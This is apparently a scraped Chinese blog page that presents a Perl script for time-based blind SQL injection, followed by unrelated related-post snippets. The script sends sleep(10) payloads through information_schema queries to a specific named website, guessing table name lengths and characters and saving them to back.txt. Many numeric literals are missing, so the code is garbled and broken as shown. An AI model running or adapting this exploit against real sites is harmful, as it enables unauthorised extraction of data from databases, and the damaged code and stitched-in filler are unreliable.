use strict;
use warnings;
use LWP::Simple; my %table_and_leng;
for(my $count = ;$count <= ;$count++){
#print "Test Table: $count\n";
my $table_length=;
my $swap = $count+;
while($table_length <= ){ print "Test Table($swap), and table_length($table_length)\n";
my $start_time = time;
get("http://www.bjmzdx.org/home/api/detail/cateId/834/id/4698) and ( if(length((select table_name from information_schema.tables where table_schema=database() limit $count,1))=$table_length,sleep(10),1) )-- -.html");
my $end_time = time;
my $fish_time = $end_time-$start_time;
if($fish_time >= ){
print "The $swap talbe_length:$table_length\n";
$table_and_leng{$count} = $table_length;
last;
}
$table_length++;
} }
foreach my $keys(sort keys %table_and_leng){
print "$keys => $table_and_leng{$keys}\n";
}
print "All table length is Done, sleep(30)";
sleep(); my %all_tables;
for(my $table_count=;$table_count <=;$table_count++){
my $table_count_swap = $table_count+;
my @table;
for(my $count=;$count<=$table_and_leng{$table_count}; $count++){
foreach my $char('a'..'z','A'..'Z',..,'_','!','@','#','$','%','^','&','*','(',')'){
print "Guess $table_count_swap -> $char\n";
my $start_time = time;
get("http://www.bjmzdx.org/home/api/detail/cateId/834/id/4698) and ( if((substr( (select table_name from information_schema.tables where table_schema=database() limit $table_count,1),$count,1)='".$char."') ,sleep(10),1) )-- -.html");
my $end_time = time;
my $fish_time = $end_time-$start_time;
if($fish_time >= ){
print "The Char:$char\n";
push @table, $char;
last; } }
}
my $table_swap = join('',@table); print "The $table_count_swap is:$table_swap\n";
$all_tables{$table_count} = $table_swap;
} open DATA, ">> back.txt" or die "Cannot write to file:$!\n";
print "\n\n------------------------------------------------------\n";
foreach my $table_keys(sort keys %all_tables){
print "$table_keys => $all_tables{$table_keys}\n";
print DATA "$table_keys\t$all_tables{$table_keys}\n";
}
print "------------------------------------------------------\n";
close DATA;
print "All Done, Please Check the file:back.txt in current dir.\n";
print "Done!\n";

关键是time获得时间

一个基于时间注入的perl小脚本的更多相关文章

  1. 初步学习nodejs,业余用node写个一个自动创建目录和文件的小脚本,希望对需要的人有所帮助

    初步学习nodejs,业余用node写个一个自动创建目录和文件的小脚本,希望对需要的人有所帮助,如果有bug或者更好的优化方案,也请批评与指正,谢谢,代码如下: var fs = require('f ...

  2. 分享一个刷网页PV的python小脚本

    下面分享一个小脚本,用来刷网页PV. [root@huanqiu ~]# cat www.py #!/usr/bin/python# coding: UTF-8import webbrowser as ...

  3. 一个基于ES6+webpack的vue小demo

    上一篇文章<一个基于ES5的vue小demo>我们讲了如何用ES5,vue-router做一个小demo,接下来我们来把它变成基于ES6+webpack的demo. 一.环境搭建及代码转换 ...

  4. 《Advanced Bash-scripting Guide》学习(四):一个显示时间日期登录用户的脚本

    本文所选的例子来自于<Advanced Bash-scripting Gudie>一书,译者杨春敏 黄毅 编写一个脚本,显示时间和日期,列出所有的登录用户,显示系统的更新时间.然后这个脚本 ...

  5. 随手写的一个检测php连接mysql的小脚本

    最近偶然接触到一点点的php开发,要用到mysql数据库,由于mysql和php版本的关系,php5里面连接函数有mysql_connect(),mysqli_connect()两种,php7中又使用 ...

  6. 一个python拖库字段的小脚本

    import requests import re all_column = dict() all_db = "db_zf,dg_activity,dg_activity_log,dg_ad ...

  7. 一个基于ES5的vue小demo

    由于现在很多vue项目都是基于ES6开发的,而我学vue的时候大多是看vue官网的API,是基于ES5的,所以对于刚接触项目的我来说要转变为项目的模块化写法确实有些挑战.因此,我打算先做一个基于ES5 ...

  8. [Swift]LeetCode981. 基于时间的键值存储 | Time Based Key-Value Store

    Create a timebased key-value store class TimeMap, that supports two operations. 1. set(string key, s ...

  9. LeetCode 981.基于时间的键值存储(C++)

    创建一个基于时间的键值存储类 TimeMap,它支持下面两个操作: 1. set(string key, string value, int timestamp) 存储键 key.值 value,以及 ...

随机推荐

  1. cacti 安装perl 和XML::Simple

    一.安装perl #tar zxvf perl-5.20.1.tar.gz #cd perl-5.20.1  #./Configure -de  #make  #make test  #make in ...

  2. WCF面试精典题汇总

    1.WCF接口中的参数改名问题 在写WCF Web Service接口的时候,如果你对接口的参数名做改动的时候,一定要记住Update所有应用该Web service的客户端的Referrence,否 ...

  3. Android基础------通知栏

    前言:Android通知栏提示笔记 通知几乎是每一款app都拥有的功能 1.发送通知 发送一个通知栏必须用到两个类:  NotificationManager . Notification. Noti ...

  4. KMP算法字符串查找子串

    题目: 经典的KMP算法 分析: 和KMP算法对应的是BF算法,其中BF算法时间复杂度,最坏情况下可以达到O(n*m),而KMP算法的时间复杂度是O(n + m),所以,KMP算法效率高很多. 但是K ...

  5. [OS] 操作系统-进程线程-经典面试笔试题

    题目转自:http://blog.csdn.net/morewindows/article/details/7392749 ·线程的基本概念.线程的基本状态及状态之间的关系? 线程,有时称为轻量级进程 ...

  6. [计算机网络-应用层] FTP协议

    文件传输协议:FTP 如下图所示:用户通过一个FTP用户代理与FTP交互.该用户首先提供远程主机的主机名,使本地主机的FTP客户机进程建立一个到远程主机FTP服务器进程的TCP连接.然后,该用户提供用 ...

  7. 当重写了 httpservlet重写了GenericServlet的init方法时候 必须显示调用GenericServlet的init方法时候 才能在别的方法(父类创建config实例) 例如 doget里面使用servletContext对象 不重写init 则可以直接使用

  8. openstack之Glance介绍

    什么是Glance glance即image service(镜像服务),是为虚拟机的创建提供镜像服务 为什么要有Glance 我们基于openstack是构建基本的Iaas平台对外提供虚机,而虚机在 ...

  9. [CQOI2017]老C的方块 网络流

    ---题面--- 题解: 做这题做了好久,,,换了4种建图QAQ 首先我们观察弃疗的形状,可以发现有一个特点,那就是都以一个固定不变的特殊边为中心的,如果我们将特殊边两边的方块分别称为s块和t块, 那 ...

  10. 使用javaScript和JQuery制作经典面试题:光棒效果

    使用javaScript与jQuery添加CSS样式的区别和步骤 使用javaScript制作光棒效果 --首先是javaScript <script> $(function () { v ...